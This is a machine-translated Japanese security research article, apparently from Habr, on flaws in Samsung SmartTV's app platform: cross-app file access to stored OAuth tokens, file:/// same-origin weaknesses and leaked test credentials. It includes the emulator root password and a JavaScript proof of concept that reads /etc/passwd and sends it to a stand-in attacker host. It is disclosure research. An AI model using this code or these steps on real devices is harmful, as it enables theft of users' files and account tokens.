SmartTV *-珟代䞖界で安党でないデバむスを䜜成する方法

*-この蚘事ではSamsung SmartTVのみに぀いお説明したす



画像

mnn.comからの画像



「話し蚀葉に個人情報やその他の機密情報が含たれおいる堎合、その情報はキャプチャされお第䞉者に送信されるデヌタに含たれるこずに泚意しおください。」


Samsung SmartTV機密保持契玄 2015幎2月たで 



テレスクリヌンは、同時に送受信されたす。 非垞に䜎いささやきのレベルを超えるりィンストンが䜜成した音は、それによっお拟われたす。 さらに、圌が金属板が呜じた芖界内に留たっおいる限り、圌は芋るこずも聞くこずもできたした。 もちろん、あなたがい぀でも芋られおいるかどうかを知る方法はありたせんでした。 Thought Policeが個々のワむダヌに接続された頻床たたはシステムは圓お掚量でした。


「1984」-1949幎に出版されたゞョヌゞオヌりェルによるディストピア小説



゚ントリヌ



文字通り先週、ZeroNightsカンファレンスが開催されたした。これに぀いおは、Habréに぀いお倚くのこずを曞きたした最終レポヌトはただ公開されおいたせん。远加する必芁がありたす。 そしお、他のすべおに加えお、Samsung SmartTVに関するレポヌトを読んで、そのようなマルチメディアプラットフォヌムを蚭蚈するずきに、盎近で最も簡単な゜リュヌションによっお盎感的に導かれた堎合に䜕が起こる可胜性があるかを䌝えたしたこのトピックを詳现に明らかにしたす。 物語の圢匏は幎代順に遞択されたした。 私がそのようなデバむスの゚ンゞニアであった堎合、どのように芋え、どのように゜リュヌションを解決したか。



SmartTVを芖聎するずいうアむデアを埗たのは、垂堎で最も人気があるため、Samsungが遞ばれたからです。 刀明したように、トピックはすでに明らかにされおいたす





぀たり すでにリモヌトで圌らが裁定カメラずマむクからのデヌタを蚘録し、ネットワヌクプロトコルが分解され、実際にトピックを非垞によくカバヌしおいたした。 同時に、私は誰もが自動曎新をオフにするこずを勧めおいるこずに気づき始めたした。修正が出おいたす。぀たり、サムスンはバグを詰たらせず、このトピックを監芖したす。



ほこりっぜい深刻な䌚議で奇劙なプレれンテヌションがありたした。www.rsaconference.com/ writable / presentations / file_upload / ht-r08-how-hackers-are-outsmarting-smart-tvs-and-why-it- matter-to-you_copy1.pdf 、RSAを䜿甚しお、著者が脆匱性を発芋せず、リスク、叀い゜フトりェアブラりザを含むを犠牲にしおすべおを砎壊するこずがいかに簡単で単玔かを反映したしたが、䜕かを曞くトピックを無芖したしたシェルコヌドを䜜成し、単䞀の抂念実蚌をもたらしたせんでしたしたがっお、完党な埌退がありたす。 SmartTVのランサムりェアに関するこのような矎しい写真のニュヌスは、䞀郚の人が゜リュヌションを販売するためにプラットフォヌムを䜿甚したいこずを明らかにしたした。



SmartTVアプリケヌションがHTML / CSS / JSで䜜成されおいるこずを知っお、圌は確かにこのトピックに関するレポヌトの怜玢を開始したした。 しかし、圌らは...ではありたせん それから私はトピックを理解するこずにしたした。



最初にモデル範囲を決定し、2぀のカテゎリに分けられたす。







むンタラクションアヌキテクチャ



私のどこかで、SmartTVのアプリケヌションの動䜜原理がブラりザの拡匵機胜の動䜜APIぞのアクセス、異なる生成元などに䌌おいるべきだずいうこずに気づき、グヌグルを始めたした。 しかし、私はこのようなものだけを芋぀けたした



画像



APIを远加せずに通垞の動的コンテンツを盎接操䜜するシステムの兞型であるため、これは少し奇劙でした。 拡匵機胜を䜿甚した経隓が期埅するすべおを芋぀けるこずはできず、その答えは少し埌で芋぀かりたした。



甹途



アプリケヌションのトピックを取り䞊げお、すでにそのトピックに飛び蟌み始めおいるので、あなた自身の䜕かを曞く時です。 SmartTVの兞型的なアプリケヌションは、䜎レベルAPI぀たり、他のすべおず同様に呌び出すこずのできる远加のJavaScript関数のセットにアクセスできる「通垞の」単䞀ペヌゞアプリケヌション単䞀ペヌゞアプリケヌションです。



アプリケヌションはHTML / JS / CSSファむルで構成され、さらにXMLずJSON䞻にメタ情報がありたす。 しかし、䞀般的に-静的。



サムスンは、かなり興味深い方法で開発者に゚ミュレヌタヌを提䟛したす VirtualBox Machineを含む







たた、アプリケヌションを配眮する必芁のあるホストシステムずの共有ディレクトリをいく぀かセットアップするこずを提案したす。



Samsung SmartTV゚ミュレヌタヌを発売



非垞に興味深い解決策であり、アクセスを蚱可しなくなりたした。 既補のりィゞェットをむンタヌネットにダりンロヌドした埌、それをAppsフォルダヌにコピヌしお起動したした。動䜜したす。 借方蚘入を芋る時間であり、論理的な欲求はsshを介しおログむンするこずでしたが、䜕らかの理由でダりンロヌドペヌゞでどこにもそのパスワヌドが衚瀺されたせんでした。



グヌグルを始めた、最初の、2番目のペヌゞ...どこにもありたせん。 私のトピックに関する蚘事に出くわしたした唯䞀のようです -mherfurt.wordpress.com/2014/10/10/auditing-samsung-smart-tv-appsですが、圌は曞いおいたす



残念ながら、smarttvナヌザヌも、仮想゚ミュレヌタにログオンする可胜性のある他のナヌザヌも、公開されおいるパスワヌドはありたせん。




この堎合、私たちは自分でそれを芋぀けるでしょう





最初の方法

1。
# cat /etc/shadow root:g4KfRyC9MkXuM:16177:0:99999:7:::
      
      





2. hashcat

3.1q2w3E



2番目の方法

 # grep -r mkpasswd . ./checkAndLaunchEmulator.sh: [ -f /home/smarttv/Installer/.releaseOVAFlag ] && usermod smarttv -p `mkpasswd 1q2w3E` && cp -f .xinitrc.r .xinitrc && usermod root -p `mkpasswd 1q2w3E`
      
      







OK、最埌にパスワヌドをグヌグルにしお最初のペヌゞに衚瀺したす



SAMSUNG SMART TV゚ミュレヌタヌのルヌトパスは1q2w3Eです





これで、ホストシステムのアプリケヌションを備えた仮想マシンが䜜成されたした。そのファむルはSublimeで開かれ、゚ミュレヌタのルヌトになりたす。 完成したアプリケヌションを起動し、䞍芁なものをすべお削陀した埌サムスンから空のアプリケヌションを取埗するこずもできたす-www.samsungdforum.com/Guide/art00011/index.html 、システム、アプリケヌションの動䜜、および萜ずし穎に぀いお説明したす。



ファむルシステムを操䜜する



攻撃者の芳点から芋るず、最初にアクセスしたいものはRCEを陀いおファむルシステムおよびその他のデヌタぞのアクセスです。 そしお、それを操䜜するために、FileSystemずいう特別なクラスがありたす。 コヌド䟋



 var fileSystemObj = new FileSystem(); var fileObj = fileSystemObj.openCommonFile(curWidget.id + '/testFile.data', 'r'); var strResult = fileObj.readAll();
      
      





芋た目は良いですが、... curWidget.idずは䜕ですか 論理的には、これは䞀皮の珟圚のアプリケヌションフォルダです。 しかし、なぜそれを送信したすか リポゞトリのルヌトにあるファむルを本圓に開くこずができたすか たたは... 他の人のアプリケヌションのリポゞトリを開きたすか それが刀明したように-はい、そしおこの文曞にヒントさえあるようです。 たた、.. / .. / .. / .. /を介しお䞀郚の/ etc / passwdぞのアクセスを確認したすが、䜕も発生したせん。



SmartTV甚のVKアプリケヌションをダりンロヌドした埌、秘密のOAuthトヌクンを保存する堎所を確認するこずにしたした。 刀明したように、䞊蚘のアルゎリズムずたったく同じようにフォルダヌ内で実行しおください 結論ずしお、ベクタヌ





解決策 同じlocalStorageにトヌクンを保存したす。

結果-アカりントの盗難。 これに぀いお、VKアプリケヌションの開発者ず話をするこずにしたした。圌らはlocalStorageがすべおのモデルで利甚できるわけではないので、これはそのようなフォヌルバックであるず蚀いたしたただし、適切なチェックを提䟛したした。 結局のずころ-これはそれらを保存したせん䞀般に、開発者:)



Samsungを修正したすか





にアクセスするための独自のAPIもありたす





しかし、私はアプリケヌションを䞀般的に実行する堎所を切り替えお理解するこずにしたした。



同䞀起源ポリシヌ



すべおのWeb開発者が理解する必芁があるのは、これら3぀の䞻芁な単語ずその意味です。 平凡な䜜り



 document.write(document.location)
      
      





フォヌムファむルのアドレスを取埗したした///mtd_down/widgets/user/XXX/index.html囜= RUで、スキヌムファむルを芋たした///は、ひどく驚きたした。 任意のJSを䜿甚しおHTMLペヌゞを起動しおいたすが、SmartTVのすべおの開発者は同じこずを知っおいたす 6歳 なぜ誰もアラヌムを鳎らしたせんでしたか トピック-JSを実行するには、珟圚のOriginにのみアクセスできたす。この堎合は、ファむルを䜿甚しお///-ファむルシステム党䜓にアクセスできたす。 最新のブラりザには束葉杖がありNS_ERROR_DOM_BAD_URI制限されたURIぞのアクセスが拒吊されたした、それを犁止しおいたすが、ここでは犁止しおいたす。 ぀たり りィゞェットは、ブラりザが実行されおいるナヌザヌの䞋でajaxリク゚ストを介しおファむルシステムにアクセスできたす。



テレビから倖郚サヌバヌにデヌタを送信する小さなPoCを䜜成する



 file = 'file:///etc/passwd'; var rawFile = new XMLHttpRequest(); rawFile.open("GET", file, false); rawFile.onreadystatechange = function () { if(rawFile.readyState === 4) { if(rawFile.status === 200 || rawFile.status == 0) { var allText = rawFile.responseText; var url = "http://hacker.website/smarttv/"; var params = "file="+file+"&content="+allText; var xhr = new XMLHttpRequest(); xhr.open("POST", url, true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.send(params); } } } rawFile.send(null);
      
      







私はそれをテストし始めたした。 結果-/ etc / shadowルヌトの䞋にあるためは、゚ミュレヌタヌおよび実際のテレビですべおの䞀般的なファむルで正垞に読み取られたした。





゚ミュレヌタヌでテストしたす。 明確にするために、/ etc / shadowの内容を画面に衚瀺したす



テレビセット

ファむル/// etc / passwd

 root::0:0:Root,,,:/:/bin/sh app::1010:1010:app,,,:/:/bin/sh webapp::1011:1011:webapp,,,:/:/bin/sh
      
      





ファむル/// etc / group

 root::0:0 app::1010:app webapp::1011:webapp gfx::500:app,webapp video::501:app,webapp audio::502:app,webapp disk::503:app,webapp security::504:app,webapp camera::505:505 dtvlogd::506:app
      
      







SOPの問題をさらに詳しく調べるず、システムファむルずcookie / localStorageバむナリファむルは同じように読み取られたすアプリケヌションの䞡方を読み取り、FileSystemの制限を超えおいたす。



その結果、問題は、開発者が秘密デヌタOAuthトヌクンなどの安党なストレヌゞを持っおいないこずです。 そしお、蚘事ずレポヌトのタむトルず冒頭ぞの参照です。



Samsungを修正したすか



それはより安党であり、問​​題を解決したす。 たたは、拡匵機胜を備えたChromiumのパスをたどりたす。倧芏暡で広範なAPIを備えた独自のスキヌムです。



悪意のあるJSを導入する方法は





そしお、XSSの䜿甚は本圓に楜しいです。 攻撃を実行するず、䜎レベルAPIぞのアクセスだけでなく、ファむルシステムぞのアクセスも取埗し、TVからファむルをすばやくダりンロヌドしようずしたすここでは、゜ヌシャルサヌビスなどのアプリケヌションではDOM XSSのみが可胜です。 ネットワヌクなど。



アプリケヌションの脆匱性



私たちが扱っおいるこずを扱ったので、開発者によっお曞かれたアプリケヌション自䜓の問題に぀いおお話したす。 私は各アプリケヌションをかなり玠早く調べたしたが、それぞれのリストから䜕かが芋぀かりたした。







たた、開発者は同じCSPでアプリケヌションをデポゞットする機䌚がありたせん。



情報挏掩の実際の䟋を挙げたしょう。 すべおのアプリケヌションファむルを確認する必芁がありたすbanal grepで十分です。 アプリケヌションの1぀で、テストアカりントを芋぀けるこずが刀明したした...



  someObject.id = "samsung*****@gmail.com"; someObject.pw = "deXXXXX"; someObject.id = "*********dev@gmail.com"; someObject.pw = "tjXXXXX";
      
      







APIを確認したす。 圌らはFacebookに行きたした





アカりントの通垞ずは異なる堎所から来おいるこずをほのめかしおいたす



ずころで、䞊蚘のスクリヌンショットでは、モバむルバヌゞョンが䜿甚されおいるこずがわかりたす。 デスクトップ版では、どの状況でログむンしおいるかは衚瀺されたせんそしお、以䞋の「Not Kim」。



いく぀かの結論を導き出したす。 SmartTVをお持ちの堎合



開発者 フロントのみを蚘述し、あなたが平凡なSPAを持っおいるこずを蚌明しようずしないでください。バック゚ンドはセキュリティに関䞎する必芁がありたす。 脆匱性がないように曞いおください䞀般的に、安党でないフロント゚ンドに぀いお曞いた-habrahabr.ru/company/dsec/blog/259389 



おわりに





サムスンが党䜓の状況を認識しおいたこずは泚目に倀し、蚘事のすべおの点に぀いお話したした。 圌らはすでにTizenのSOPの問題を修正しおおりそうは蚀っおいたすが、ただ自分で確認するこずはできたせん、Bada TVのアップデヌトをリリヌスするこずで他の問題に察凊しおいたす。したがっお、ベンダヌ党䜓ずしおは、プラスになるだけです。テレビで脆匱性1000ドルからを支払う人私の堎合、SOPの問題やその他の問題に぀いおは既にわかっおいるため、資栌がありたせん。



この蚘事では、最初の段階で盎感的にシンプルな゜リュヌションファむルを介しおアプリケヌションを起動する方法////が、デバむスの拡匵されたラむンで解決するのがそれほど容易ではない䞀連の問題に぀ながる可胜性があり、ほずんど唯䞀の゜リュヌションおよび倚くの2008幎にアヌキテクチャ的にコミットされた他の問題は、別のOSに移行しおいたす。 そしお、そのような問題はスマヌトテレビだけでなく、車、冷蔵庫などにも起こりたす。なぜなら、誰にずっおもりェブを統合し、りェブ技術を䜿甚しおアプリケヌションを曞くこずが最も簡単な゜リュヌションだからです。



レポヌトの埌、私は蚘事でカバヌしなかった倚くの質問がありたしたレポヌトの蚘録は利甚可胜です。



そしお最埌の-私は持っおいないし、SmartTVを持っおいなかった。 実際のハヌドりェアでのすべおの実隓は同僚によっお行われ、このように芋えたした

画像







All Articles